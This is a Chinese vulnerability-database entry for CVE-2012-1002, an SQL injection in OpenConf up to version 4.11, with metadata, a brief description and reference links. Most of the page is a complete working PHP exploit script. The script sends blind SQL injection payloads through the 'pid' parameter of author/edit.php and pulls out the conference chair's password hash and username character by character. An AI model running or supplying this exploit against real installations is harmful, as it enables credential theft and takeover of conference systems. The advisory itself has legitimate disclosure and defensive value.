OpenConf SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121097 漏洞类型 SQL注入
发布时间 2012-05-02 更新时间 2012-05-02
CVE编号 CVE-2012-1002 CNNVD-ID CNNVD-201205-410
漏洞平台 PHP CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/18820
https://www.securityfocus.com/bid/51927
https://cxsecurity.com/issue/WLB-2012050030
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201205-410
|漏洞详情
OpenConf4.12之前版本中存在SQL注入漏洞,该漏洞源于对用户提供的数据未经充分过滤。攻击者可利用该漏洞操控应用程序,访问或修改数据,或在底层数据库中利用此漏洞。
|漏洞EXP
<?php

/*
  ---------------------------------------------------------------------
  OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
  ---------------------------------------------------------------------
  
  author...............: Egidio Romano aka EgiX
  mail.................: n0b0d13s[at]gmail[dot]com
  software link........: http://www.openconf.com/
  affected versions....: from 4.00 to 4.11
  
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.    |
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] Vulnerable code in /author/edit.php:
  
  104.		// get sub
  105.		$anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ...
  106.		if (mysql_num_rows($anr) != 1) {
  107.			err(oc_('Submission ID or password entered is incorrect'));
  108.		}
  109.		$_POST = array_merge($_POST, mysql_fetch_assoc($anr));
  
  User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query
  at line 105,  single quotes aren't  used before  concatenate the user input  into the query string.  This can be
  exploited to conduct a  Blind SQL Injection  attack.  Successful exploitation of  this vulnerability requires at
  least a record into the 'paper' table, and 'Edit Submission' to be enabled.

  [-] Disclosure timeline:
  
  [27/01/2012] - Vulnerability discovered
  [01/02/2012] - Issue reported to bugs(at)openconf.com
  [02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202
  [02/02/2012] - CVE number requested
  [02/02/2012] - Assigned CVE-2012-1002
  [02/05/2012] - Public disclosure
  
*/

if (!extension_loaded('curl')) die("cURL extension required\n");

error_reporting(E_ERROR);
set_time_limit(0);

function http_get($page)
{
  global $ch, $argv;
	
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_GET, true);

  return curl_exec($ch);
}

function http_post($page, $data)
{	
  global $ch, $argv;
	
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

  return curl_exec($ch);
}

function hex_enc($sql)
{
  for ($i = 0, $n = strlen($sql); $i < $n; $i++)
    $encoded .= dechex(ord($sql[$i]));
  return "0x{$encoded}";
}

print "\n+-------------------------------------------------------------+";
print "\n| OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";

if ($argc < 2)
{
  print "\nUsage......: php $argv[0] <url>\n";
  print "\nExample....: php $argv[0] http://127.0.0.1/";
  print "\nExample....: php $argv[0] http://localhost/openconf/\n";
  die();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (!preg_match('/href="author\/edit.php"/', http_get('openconf.php'))) die("\n[-] Failed: submission edit disabled\n");

$index = 1;
$hash  = '';
$chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f

print "\n[-] Chair password hash...: ";

while (!strpos($hash,chr(0)))
{
  for ($i = 0, $n = count($chars); $i <= $n; $i++)
  {
    if ($i == $n) die("\n[-] Exploit failed!\n");
    $sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_pwd").") LIMIT 1#");
    if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; } 
  }
  $index++;
}

$index = 1;
$user  = '';
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any "word" character

print "\n[-] Chair username........: ";

while (!strpos($user,chr(0)))
{
  for ($i = 0, $n = count($chars); $i <= $n; $i++)
  {
    if ($i == $n) die("\n[-] Exploit failed!\n");
    $sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_uname").") LIMIT 1#");
    if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; } 
  }
  $index++;
}
print "\n";
?>
|受影响的产品
OpenConf OpenConf 4.11 OpenConf OpenConf 4.10 OpenConf OpenConf 4.02 OpenConf OpenConf 4.01 OpenConf OpenConf 4.00
|参考资料

来源:BID
名称:51927
链接:http://www.securityfocus.com/bid/51927